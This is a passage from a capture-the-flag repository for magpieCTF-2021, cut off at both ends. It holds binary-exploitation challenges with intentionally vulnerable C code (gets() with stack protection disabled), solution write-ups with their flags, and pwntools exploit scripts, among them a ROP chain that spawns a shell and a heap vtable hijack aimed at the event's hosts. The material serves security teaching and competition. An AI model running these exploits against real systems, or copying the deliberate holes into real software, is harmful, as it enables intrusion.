= 4210868 46 | line = p.recvuntil(b':') 47 | p.sendline("4210868") 48 | 49 | # write addr of write_numbers 0x401256 = 4198998 50 | line = p.recvuntil(b':') 51 | p.sendline("4198998") 52 | 53 | p.clean() 54 | 55 | p.sendline("cat flag.txt") 56 | 57 | flag = p.recvuntil(b'}') 58 | print(flag) 59 | 60 | return(flag == NUMWRITE_FLAG) -------------------------------------------------------------------------------- /challenges/binary-exploitation/numwrite/source/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nsjailcontainer 2 | 3 | ARG USERNAME=magpie 4 | RUN useradd -m $USERNAME 5 | RUN chmod a-w /home/$USERNAME 6 | 7 | COPY numwrite /numwrite 8 | COPY flag.txt /home/magpie/flag.txt 9 | RUN chmod o+x /numwrite 10 | 11 | EXPOSE 8754 12 | 13 | CMD ["/bin/nsjail", \ 14 | "-Ml", \ 15 | "--hostname", "host", \ 16 | "--port", "8754", \ 17 | "--user", "1001", \ 18 | "--group", "1001", \ 19 | "--chroot", "/", \ 20 | "-E", "TERM=xterm", \ 21 | "--cwd", "/home/magpie", \ 22 | "--", \ 23 | "/numwrite" \ 24 | ] 25 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/numwrite/source/flag.txt: -------------------------------------------------------------------------------- 1 | magpie{th3_w0rd_0f_7h3_d4y_|s_b1n4ry_3xpL0iT4t10n} -------------------------------------------------------------------------------- /challenges/binary-exploitation/numwrite/source/numwrite: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/binary-exploitation/numwrite/source/numwrite -------------------------------------------------------------------------------- /challenges/binary-exploitation/poly/README.MD: -------------------------------------------------------------------------------- 1 | # Poly 2 | ### Category: Binary Exploitation 3 | ### Author: steadmanticore 4 | 5 | ## Description 6 | Modern C++ is a mashup of an evolving stdlib built on-top of a 1980-era framework of classes and polymorphism. Mastery of both will be required to coax the flag from this binary. 7 | 8 | ## Hints 9 | 1. https://en.cppreference.com/w/cpp/container/vector/erase 10 | 2. vtable 11 | 3. pwntools ues a pty for stdout by default. Libc allocates I/O buffers differently for ptys – changing the heap offsets. Try again without a pty. 12 | 13 | ## Solution 14 | The issue is the code can erase from the vector<> while iterating through it. When that happens, the list is shorter AND the iterator increments AND the previous `end()` of the list is cached, which means the loop will continue past the end of the current list, and de-reference a stale pointer, which is always a duplicate of the last pointer in the vector. 15 | 16 | If you set up a situation where the last item on the list has also been erased, then the “extra” loop iteration will point at free memory. In this version of libc, the displayed id of the free memory will be the address of the base heap structure for the current thread – giving you a heap leak. 17 | 18 | If you setup your heap so that the std::string holding the input for the current line overlaps with the memory that was just freed (by having it just the right length so the same chunk is returned from the t-cache), then you can craft a fake “base” instance. The first 8 bytes of this instance is a pointer to a vtable. Inside the vtable is a list of function pointers. The code will unconditionally call the function pointer for update(). You need to create a fake vtable that has the pointer for update() replaced with a pointer to win(). You then need to ensure that the first 8 bytes of your fake instance points at the start of this vtable. When this happens, win() will be called and the flag will be printed. 19 | 20 | The biggest gotcha is that pwntools will allocate a pty for stdout by default – which will cause libc to allocate a buffer of 1024 bytes instead of 4096. This will change the heap offsets by 3072 bytes. This can be tested either by changing pwntools to use a PIPE for stdout, or launching the binary with socat and connecting to the port. 21 | 22 | Example: `socat -d -d tcp-l:5555,reuseaddr exec:"./poly”` - and then connect to localhost:5555. This will connect stdin/stdout to a SOCKET, not a pty, which means the heap allocations will match the server. 23 | 24 | ## Flag 25 | magpie{P0LYm0RPhi5M_4_7H3_wiN_a935ef442} -------------------------------------------------------------------------------- /challenges/binary-exploitation/poly/poly.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/binary-exploitation/poly/poly.zip -------------------------------------------------------------------------------- /challenges/binary-exploitation/poly/solve/poly_solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | import sys, os 5 | 6 | POLY_FLAG = b"magpie{P0LYm0RPhi5M_4_7H3_wiN_a935ef442}" 7 | 8 | def solve(host="bin.magpiectf.ca", port=6643): 9 | #p = process("./poly") 10 | p = remote(host, port) 11 | #p = gdb.debug("./poly", "") 12 | #p = serialtube("/dev/pts/7") 13 | 14 | def create(item): 15 | p.recvuntil("> ") 16 | p.sendline("1") 17 | p.recvuntil(": ") 18 | p.sendline(item) 19 | 20 | def enterUpdates(): 21 | p.recvuntil("> ") 22 | p.sendline("2") 23 | 24 | def getItem(): 25 | p.recvuntil("Enter new value for item ") 26 | str = p.recvuntil(": ") 27 | num = int(str[0:-2]) 28 | return num 29 | 30 | def updateItem(value): 31 | num = getItem() 32 | p.sendline(value) 33 | return num 34 | 35 | #aout = ELF("./poly") 36 | win = 0x402880 # aout.symbols["win"] 37 | 38 | create("123") 39 | create("456") 40 | create("UUUUUUUUUUUUUUU") 41 | 42 | enterUpdates() 43 | updateItem("abcd") 44 | updateItem("hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh") 45 | 46 | leak = getItem() 47 | heapaddr = leak + 0x13f20 48 | print("Leaked heap address: %#08x" % leak) 49 | print("Target Address: %#08x" % heapaddr) 50 | 51 | p.sendline(p64(heapaddr-8) + p64(win) + b"U"*5) 52 | 53 | flag = p.recvline().rstrip() 54 | print("got flag: \"" + flag.decode("ascii") + "\"") 55 | return flag == POLY_FLAG 56 | 57 | def main(): 58 | global POLY_FLAG 59 | 60 | if len(sys.argv) >=3: 61 | target_host = sys.argv[1] 62 | target_port = int(sys.argv[2]) 63 | else: 64 | target_host = os.environ.get('TARGET_HOSTNAME') or "pwn-poly" 65 | target_port = int(os.environ.get('TARGET_PORT') or 31337) 66 | 67 | print("Hardcoded flag: " + POLY_FLAG.decode("ascii")) 68 | 69 | try: 70 | fname = 'flag.txt' 71 | if os.path.exists(fname): 72 | with open(fname,'rb') as f: 73 | local_flag = f.read().rstrip() 74 | print("Local flag: " + local_flag.decode("ascii")) 75 | print("Using Local Flag.") 76 | POLY_FLAG = local_flag 77 | except: 78 | print("Unexpected error reading local flag. Using Hardcoded flag.") 79 | 80 | match = solve(target_host, target_port) 81 | print("Match = " + str(match)) 82 | 83 | sys.exit(not match) 84 | 85 | if __name__ == "__main__": 86 | main() -------------------------------------------------------------------------------- /challenges/binary-exploitation/ret2jedi/README.md: -------------------------------------------------------------------------------- 1 | # Ret2jedi 2 | ### Category: Binary Exploitation 3 | ### Author: Brandon Arenas (Inga5508) 4 | 5 | ## Description 6 | Obi-Wan extracted this vulnerable program from the Deathstar. Apparently, if you can exploit the local binary, you can hack the remote program inside the Deathstar! 7 | 8 | ## Hints 9 | 1. The program needs to be run twice. 10 | 2. Leak the address of a function 11 | 12 | ## Solution 13 | 14 | The challenge is a ROP challenge where the challenge is to build a stack using gadgets along with libc to execute a shell. The shell is built in two parts. The first is by leaking the address of \__libc_start_main with some ROP. The first stack should look like the following: 15 | 16 | padding | pop_rdi | \__libc_start_main | puts | main 17 | 18 | Where pop_rdi, \__libc_start_main, puts and main are all within the pwnable binary. 19 | 20 | After successfully leaking the address of \__libc_start_main, the offset can be calculated off the libc library which the challenger has to find. This can be done by using the just leaked address on a libc database search to find the correct libc for the exploit. 21 | 22 | After finding the correct libc, you must update the offsets in the libc file using the leaked address by subtracting the leaked \__libc_start_main address from the \__libc_start_main address within the libc file. 23 | 24 | Finally, after finding and updating the correct libc for the binary, the following stack should look like this: 25 | 26 | padding + pop_rdi + binsh + system 27 | 28 | Where binsh and system are found in libc. This final stack will spawn a shell. 29 | 30 | 1. Find minimum bytes to segfault 31 | 2. Using the provided libc, leak an address within the program 32 | 3. Within the same rop chain the address was leaked, run the program again (don't let it exit) by placing the address of main at the end of the first chain. 33 | 4. Update the libc with the leaked offset you found. 34 | 5. Find system and binsh within the program and build final rop chain payload 35 | 36 | For detailed solution see exploit.py in solve/ 37 | 38 | ## Flag 39 | magpie{yo1_1_h@\/3_the_hi_gr0un(|!} 40 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/ret2jedi/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/binary-exploitation/ret2jedi/libc.so.6 -------------------------------------------------------------------------------- /challenges/binary-exploitation/ret2jedi/ret2jedi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/binary-exploitation/ret2jedi/ret2jedi -------------------------------------------------------------------------------- /challenges/binary-exploitation/ret2jedi/solve/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | elf = ELF("./pwn") 4 | #prc = process("./pwn") 5 | prc = remote("bin.magpiectf.ca", 6600) 6 | 7 | lbc = ELF("libc.so.6") 8 | rop = ROP(elf) 9 | 10 | puts = elf.plt['puts'] 11 | main = p64(elf.symbols['main']) 12 | libc_main = elf.symbols['__libc_start_main'] 13 | pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0] 14 | ret = (rop.find_gadget(['ret']))[0] 15 | 16 | log.info("puts@plt: " + hex(puts)) 17 | log.info("__libc_start_main: " + hex(libc_main)) 18 | log.info("pop rdi gadget: " + hex(pop_rdi)) 19 | 20 | base = b"a" * 16 21 | 22 | chain = base + p64(pop_rdi) + p64(libc_main) + p64(puts) + main 23 | 24 | prc.sendlineafter("there!", chain) 25 | 26 | prc.recvline() 27 | prc.recvline() 28 | received = prc.recvline().strip() 29 | leak = u64(received.ljust(8, b"\x00")) 30 | log.info("Leaked libc address, __libc_start_main: %s" % hex(leak)) 31 | 32 | lbc.address = leak - lbc.sym["__libc_start_main"] 33 | log.info("Address of libc %s " % hex(lbc.address)) 34 | 35 | binsh = next(lbc.search(b"/bin/sh")) 36 | system = lbc.sym["system"] 37 | 38 | log.info("/bin/sh %s " % hex(binsh)) 39 | log.info("system %s " % hex(system)) 40 | 41 | chain2 = base + p64(pop_rdi) + p64(binsh) + p64(system) 42 | 43 | prc.sendlineafter("there!", chain2) 44 | 45 | prc.interactive() 46 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/ret2jedi/source/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nsjailcontainer 2 | 3 | ARG USERNAME=magpie 4 | RUN useradd -m $USERNAME 5 | RUN chmod a-w /home/$USERNAME 6 | 7 | COPY ret2jedi /home/magpie/ret2jedi 8 | COPY flag.txt /home/magpie/flag.txt 9 | COPY libc.so.6 /home/magpie/libc.so.6 10 | COPY ld-linux-x86-64.so.2 /home/magpie/ld-linux-x86-64.so.2 11 | RUN chmod o+x /home/magpie/ret2jedi 12 | 13 | EXPOSE 6600 14 | 15 | CMD ["/bin/nsjail", \ 16 | "-Ml", \ 17 | "--hostname", "host", \ 18 | "--port", "6600", \ 19 | "--user", "1001", \ 20 | "--group", "1001", \ 21 | "--chroot", "/", \ 22 | "-E", "TERM=xterm", \ 23 | "--cwd", "/home/magpie", \ 24 | "--", \ 25 | "/home/magpie/ret2jedi" \ 26 | ] 27 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/ret2jedi/source/Makefile: -------------------------------------------------------------------------------- 1 | all: ret2jedi 2 | 3 | ret2jedi: ret2jedi.c 4 | gcc -Wl,--dynamic-linker=./ld-linux-x86-64.so.2,-rpath=./ -no-pie -fno-stack-protector -o ret2jedi ret2jedi.c 5 | cp ret2jedi ../ 6 | 7 | clean: 8 | rm ret2jedi ../ret2jedi 9 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/ret2jedi/source/flag.txt: -------------------------------------------------------------------------------- 1 | magpie{yo1_1_h@\/3_the_hi_gr0un(|!} 2 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/ret2jedi/source/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/binary-exploitation/ret2jedi/source/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /challenges/binary-exploitation/ret2jedi/source/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/binary-exploitation/ret2jedi/source/libc.so.6 -------------------------------------------------------------------------------- /challenges/binary-exploitation/ret2jedi/source/ret2jedi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/binary-exploitation/ret2jedi/source/ret2jedi -------------------------------------------------------------------------------- /challenges/binary-exploitation/ret2jedi/source/ret2jedi.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void flag_function() { 5 | char str[] = "This isn't the exploit you're looking for.\n"; 6 | exit(1); 7 | system("/bin/sh"); 8 | } 9 | 10 | void point_of_view() { 11 | char str[] = "What I told you is false... from a certain point of view.\n"; 12 | } 13 | 14 | int main() { 15 | setvbuf ( stdout, NULL , _IONBF , 0 ); 16 | char buffer[8]; 17 | puts("Hello there!\n"); 18 | gets(buffer); 19 | return 66; 20 | } 21 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/smash/README.md: -------------------------------------------------------------------------------- 1 | # Smash 2 | ### Category: Binary Exploitation 3 | ### Author: Brandon Arenas (Inga5508) 4 | 5 | ## Description 6 | Are you strong? Prove it! 7 | 8 | ## Hints 9 | 1. Try to fuzz 10 | 11 | ## Solution 12 | Solution is really simple and only requires to smash the stack. 13 | 14 | ## Flag 15 | magpie{sm@sh_f0r_fun_n_pr()f!t} 16 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/smash/smash: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/binary-exploitation/smash/smash -------------------------------------------------------------------------------- /challenges/binary-exploitation/smash/solve/exploit.py: -------------------------------------------------------------------------------- 1 | from pathlib import Path 2 | from pwn import * 3 | 4 | prc = process("./pwn") 5 | prc = remote("bin.magpiectf.ca", "1996") 6 | smash = 64 * "U" 7 | 8 | #Path("in").write_bytes(smash) 9 | prc.sendline(smash) 10 | print(prc.recvline()) 11 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/smash/source/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nsjailcontainer 2 | 3 | ARG USERNAME=magpie 4 | RUN useradd -m $USERNAME 5 | RUN chmod a-w /home/$USERNAME 6 | 7 | COPY smash /home/magpie/smash 8 | COPY flag.txt /home/magpie/flag.txt 9 | RUN chmod o+x /home/magpie/smash 10 | 11 | EXPOSE 1996 12 | 13 | CMD ["/bin/nsjail", \ 14 | "-Ml", \ 15 | "--hostname", "host", \ 16 | "--port", "1996", \ 17 | "--user", "1001", \ 18 | "--group", "1001", \ 19 | "--chroot", "/", \ 20 | "-E", "TERM=xterm", \ 21 | "--cwd", "/home/magpie", \ 22 | "--", \ 23 | "/home/magpie/smash" \ 24 | ] 25 | 26 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/smash/source/Makefile: -------------------------------------------------------------------------------- 1 | all: smash 2 | 3 | smash: smash.c 4 | gcc -fno-stack-protector -o smash smash.c 5 | cp smash ../ 6 | 7 | clean: 8 | rm smash ../smash 9 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/smash/source/flag.txt: -------------------------------------------------------------------------------- 1 | magpie{sm@sh_f0r_fun_n_pr()f!t} 2 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/smash/source/smash: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/binary-exploitation/smash/source/smash -------------------------------------------------------------------------------- /challenges/binary-exploitation/smash/source/smash.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define FLAGSIZE_MAX 64 12 | 13 | char flag[FLAGSIZE_MAX]; 14 | 15 | 16 | int fatal(char *prog, char *s) { 17 | fprintf(stderr, "%s: ", prog); 18 | perror(s); 19 | return 0; 20 | //exit(1); 21 | } 22 | 23 | void sigsegv_handler(int sig) { 24 | fprintf(stderr, "%s\n", flag); 25 | fflush(stderr); 26 | exit(1); 27 | } 28 | 29 | void vulnerable() { 30 | char buffer[64]; 31 | gets(buffer); 32 | } 33 | 34 | int main(){ 35 | //open the flag.txt file 36 | setvbuf ( stdout, NULL , _IONBF , 0 ); 37 | FILE *f = fopen("flag.txt","r"); 38 | if (f == NULL) { 39 | printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); 40 | exit(0); 41 | } 42 | //Read from the file to flag 43 | fgets(flag,FLAGSIZE_MAX,f); 44 | //If there is a SIGSEGV run sigsegv_handler 45 | signal(SIGSEGV, sigsegv_handler); 46 | //gid settings 47 | gid_t gid = getegid(); 48 | setresgid(gid, gid, gid); 49 | 50 | vulnerable(); 51 | 52 | return 0; 53 | } 54 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/text-adventure-1/README.md: -------------------------------------------------------------------------------- 1 | # Text Adventure 1 2 | ### Category: Binary Exploitation 3 | ### Author: Joshua Novak (rm -rf /#0797), Emily Baird (Analytical Engine#4954) and Brandon Arenas (Inga#5508) 4 | 5 | --- 6 | 7 | ## Description 8 | Dracula left his terminal open. It's password protected but he's not very good at programming. He really should stick to evil magic... 9 | 10 | ## Hints 11 | No hints. Everything needed is given in print statements. 12 | 13 | ## Solution 14 | Solution is to overwrite the 9 byte password. The real obstacle is giving gets a null byte right after the first password so that strcmp will not compare the entire 256 byte buffer. Instead, it will stop at the 10th byte, the null byte. 15 | 16 | For a detailed solution, see exploit.py in solve/ 17 | 18 | ## Flag 19 | magpie{d()nt_p@n!k_pIz} 20 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/text-adventure-1/solve/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | prc = remote("bin.magpiectf.ca", "1976") 4 | 5 | padding = b"a" * 248 6 | password = b"password1\0" 7 | fakepass = b"password1" 8 | 9 | payload = password + padding + fakepass 10 | 11 | prc.recvline() 12 | prc.recvline() 13 | 14 | prc.sendline(b"go north") 15 | 16 | prc.recvline() 17 | 18 | prc.sendline(b"go west") 19 | 20 | prc.recvline() 21 | 22 | prc.sendline(b"use terminal") 23 | 24 | prc.recvline() 25 | 26 | prc.sendline(payload) 27 | 28 | prc.recvline() 29 | prc.recvline() 30 | prc.recvline() 31 | prc.recvline() 32 | prc.recvline() 33 | prc.recvline() 34 | prc.recvline() 35 | prc.recvline() 36 | prc.recvline() 37 | prc.recvline() 38 | prc.recvline() 39 | prc.recvline() 40 | flag = prc.recvline().decode("utf-8").rstrip() 41 | flag = flag.split(" ")[3] 42 | 43 | print(flag) 44 | 45 | if flag == "magpie{d()nt_p@n!k_pIz}": 46 | print(True) 47 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/text-adventure-1/source/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nsjailcontainer 2 | 3 | ARG USERNAME=magpie 4 | RUN useradd -m $USERNAME 5 | RUN chmod a-w /home/$USERNAME 6 | 7 | COPY textadventure /home/magpie/textadventure 8 | COPY terminal-login /home/magpie/terminal-login 9 | RUN chmod o+x /home/magpie/textadventure 10 | 11 | EXPOSE 1976 12 | 13 | CMD ["/bin/nsjail", \ 14 | "-Ml", \ 15 | "--hostname", "host", \ 16 | "--port", "1976", \ 17 | "--user", "1001", \ 18 | "--group", "1001", \ 19 | "--chroot", "/", \ 20 | "-E", "TERM=xterm", \ 21 | "--cwd", "/home/magpie", \ 22 | "--", \ 23 | "/home/magpie/textadventure" \ 24 | ] 25 | 26 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/text-adventure-1/source/Makefile: -------------------------------------------------------------------------------- 1 | all: core terminal 2 | 3 | core: 4 | gcc -o textadventure main.c parsexec.c room.c 5 | 6 | terminal: 7 | gcc -fno-stack-protector -o terminal-login terminal-login.c 8 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/text-adventure-1/source/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "parsexec.h" 5 | #include "room.h" 6 | 7 | static char input[100] = "look around"; 8 | 9 | static bool getInput(void) { 10 | printf("\n--> "); 11 | return fgets(input, sizeof input, stdin) != NULL; 12 | } 13 | 14 | int main(){ 15 | setvbuf(stdout, NULL, _IONBF, 0); 16 | system("clear"); 17 | printf("Welcome to Magpie Adventure. Type 'help' for a list of commands.\n"); 18 | struct room **map = initializeMap(); 19 | struct room *currRoom = map[0]; // player always starts at map position 0 20 | 21 | while (parseAndExecute(input, currRoom) && getInput()); 22 | printf("\nBye!\n"); 23 | 24 | return 0; 25 | } 26 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/text-adventure-1/source/map.txt: -------------------------------------------------------------------------------- 1 | 0 C 0 2 | L H X 3 | 0 S 0 4 | 5 | S = start 6 | H = hub 7 | L = computer lab 8 | C = crypto/safe room 9 | X = secret tbd -------------------------------------------------------------------------------- /challenges/binary-exploitation/text-adventure-1/source/parsexec.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "room.h" 6 | 7 | bool parseAndExecute(char *input, struct room *currRoom) { 8 | char *verb = strtok(input, " \n"); 9 | char *noun = strtok(NULL, " \n"); 10 | 11 | if (verb != NULL) { 12 | if (strcmp(verb, "quit") == 0) { 13 | return false; 14 | } 15 | else if (strcmp(verb, "clear") == 0) { 16 | executeLook("around", currRoom); 17 | system("clear"); 18 | } 19 | else if (strcmp(verb, "help") == 0) { 20 | printf("Usage: [verb] [noun]\n" 21 | "Some helpful commands (there may be more!)\n" 22 | "\thelp: print this help dialogue\n" 23 | "\tlook: inspect a room or an item\n" 24 | "\tgo: move in a given direction\n" 25 | "\tuse: use an object\n" 26 | "\tclear: clear the screen\n" 27 | "\tquit: leave the game\n" 28 | "Some examples:\n" 29 | "\t-->look around: provide a description of your current room\n" 30 | "\t-->go north: move to the room north of your current room\n"); 31 | } 32 | else if (strcmp(verb, "look") == 0) { 33 | executeLook(noun, currRoom); 34 | } 35 | else if (strcmp(verb, "go") == 0) { 36 | executeGo(noun, currRoom); 37 | } 38 | else if (strcmp(verb, "use") == 0) { 39 | executeUse(noun, currRoom); 40 | } 41 | else { 42 | printf("I don't know how to '%s'.\n", verb); 43 | } 44 | } 45 | return true; 46 | } 47 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/text-adventure-1/source/parsexec.h: -------------------------------------------------------------------------------- 1 | #include "room.h" 2 | 3 | extern bool parseAndExecute(char *input, struct room *currRoom); -------------------------------------------------------------------------------- /challenges/binary-exploitation/text-adventure-1/source/rebuild.sh: -------------------------------------------------------------------------------- 1 | sudo docker build . -t textadventure 2 | sudo docker run --rm --privileged -p 1976:1976 textadventure 3 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/text-adventure-1/source/room.h: -------------------------------------------------------------------------------- 1 | extern struct room * initializeRoom(char *name, char *description); 2 | extern struct room ** initializeMap(); 3 | 4 | extern void executeLook(const char *noun, struct room *currRoom); 5 | extern void executeGo(const char *noun, struct room *currRoom); 6 | extern void executeUse(const char *noun, struct room *currRoom); 7 | 8 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/text-adventure-1/source/terminal-login: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/binary-exploitation/text-adventure-1/source/terminal-login -------------------------------------------------------------------------------- /challenges/binary-exploitation/text-adventure-1/source/terminal-login.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() { 5 | setvbuf(stdout, NULL, _IONBF, 0); 6 | //"something" 7 | char password[] = "R3k##!js@"; 8 | 9 | char buf[256]; 10 | 11 | printf("Gets 9 byte password in 256 byte buffer:\n"); 12 | 13 | gets(buf); 14 | 15 | //printf("pas: %s\n", password); 16 | //printf("buf: %s\n", buf); 17 | printf("Strcmparing password...\n"); 18 | int res = strcmp(password, buf); 19 | 20 | //printf("%d", res); 21 | 22 | if (res == 0) { 23 | printf("Welcome Dracula\n"); 24 | printf("[ 1.6767021 Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0)\n" \ 25 | "[ 1.077718] CPU: O PID: 1 COMM: Swapper/0 Not tainted 3.10.0-327.el7.x86_64 #1\n" \ 26 | "[ 1.078657) Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/31/2013\n" \ 27 | "[ 1.081446) ffff88013938790 000000001e6559f5 000000001e6559f5 ffff880139387eo\n"\ 28 | "[ 1.082371] Call Trace:\n"\ 29 | "[ 1.082616] [] dump_stack+8x19/0x1b\n" \ 30 | "[ 1.083005] [] panic Bxd8/0x1e7\n"\ 31 | "[ 1.083382] [] Mount_block_root+0x2a1/0x2b0\n" \ 32 | "[ 1.083826) [] Mount_root+0x53/0x56\n" \ 33 | "[ 1.084223] [] prepare_namespace+0x13c/0x174\n" \ 34 | "[ 1.082616] [] magpie{d()nt_p@n!k_pIz}\n" \ 35 | "[ 1.884667) [] kernel_init_freeable+8x1f0/0x217\n" \ 36 | "[ 1.085125] [] ? initcall_blacklist +0xb0/0xb0\n" \ 37 | "[ 1.885570) [] ? rest_init+0x80/0x80\n" \ 38 | "[ 1.085961] [] kernel_init+0xe/Oxfo\n" \ 39 | "[ 1.087300) [] ret_from_fork+x58/8x90\n" \ 40 | "[ 1.988660] [] ? rest_init+0x80/0x80\n"); 41 | } 42 | else { printf("Wrong password\n"); } 43 | return 1; 44 | } 45 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/text-adventure-1/source/textadventure: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/binary-exploitation/text-adventure-1/source/textadventure -------------------------------------------------------------------------------- /challenges/cryptography/cubic-conundrum/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Cubic Conundrum 3 | ### Category: Cryptography 4 | ### Author: Braydon Willms 5 | 6 | ## Description 7 | I'm so excited about my brand new rubik's cube that I didn't want to stop at solving it - so now I'm encrypting with it! 8 | 9 | We're also given cubic\_conundrum.pdf. 10 | 11 | ## Solution 12 | 1. The first thing we need to do is read through the pdf to see how this challenge works. We're given 5 sequences of moves corresponding to encrypted cubes. We can apply each of these to a solved cube using an online tool (make sure the colors line up). 13 | 14 | 2. We're also given the sequence of moves used to encrypt the data. If we to decrypt it, we'll just have to reverse that sequence of moves. The decryption key is U2 L' U D' R. 15 | 16 | 3. After applying the given sequences followed by the decryption key to solved cubes, we can read the colors off and decode them according to the given base 4 scheme to get the flag. 17 | 18 | ## Flag 19 | magpie{(u63\_m4G!c} 20 | -------------------------------------------------------------------------------- /challenges/cryptography/cubic-conundrum/cubic_conundrum.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/cryptography/cubic-conundrum/cubic_conundrum.pdf -------------------------------------------------------------------------------- /challenges/cryptography/data-encryption-non-standard/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Data Encryption (non)Standard 3 | ### Category: Cryptography 4 | ### Author: Braydon Willms 5 | 6 | ## Description 7 | There's a lot of talk about DES, but how hard can it be to make a block cipher? I bet you can't break mine! 8 | 9 | We're also given server\_no\_flag.py. 10 | 11 | ## Hints 12 | 1. I'm not sure what the big deal is about key schedules, but I think it'll be fine. 13 | 14 | 2. Well, I guess I did borrow the structure from DES... 15 | 16 | ## Solution 17 | 1. We start by looking at the block cipher in the program we're given. There are a lot of weaknesses in this cipher, such as a relatively small key size or weak keys (and likely a variety of other attacks). However, the following attack will be sure to run in the time we have during the CTF. 18 | 19 | 2. The first thing to notice is that the round keys are just switched between the halves of the original key for the cipher. This means the cipher is essentially just an iteration of the same two rounds repeated several times. We also see that we can calculate the key quite easily from the input and output of these two rounds, so we can use a slide attack here. 20 | 21 | 3. The number of queries we can make is also limited to 2^12. However, since the cipher uses a feistel network (the same structure as DES), we can optimize our slide attack to work with this many plaintext-ciphertext pairs. 22 | 23 | 4. Now, we can find the key by carrying out a slide attack with a twist. We encrypt and decrypt 2^10 messages, where the halves that remain unchanged after one round are the same. These sets of messages will be out of phase by one round, and we can search by a slid pair by looking for a pair where both the plaintext of one encrypts to the plaintext of the other, and the ciphertext of the first encrypts to the ciphertext of the second (though we're technically decrypting one of the pairs, encryption and decryption follow the same structure here) for some key. This gives us half of the key, and we can reverse the halves that we keep the same and repeat this process to find the other half. As this is a probabilistic attack, we may have to retry a few times. 24 | 25 | For more details, take a look at dens\_solve.py, or you can find the attack described here 26 | https://www.iacr.org/archive/eurocrypt2000/1807/18070595-new.pdf 27 | 28 | ## Flag 29 | magpie{T74t'5\_a\_F31StY\_C19HeR} 30 | -------------------------------------------------------------------------------- /challenges/cryptography/data-encryption-non-standard/server_no_flag.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | 4 | 5 | def encrypt(message, key): 6 | left = message.hex()[0:5] 7 | right = message.hex()[5:10] 8 | 9 | subkeys = gen_subkeys(key) 10 | 11 | for i in 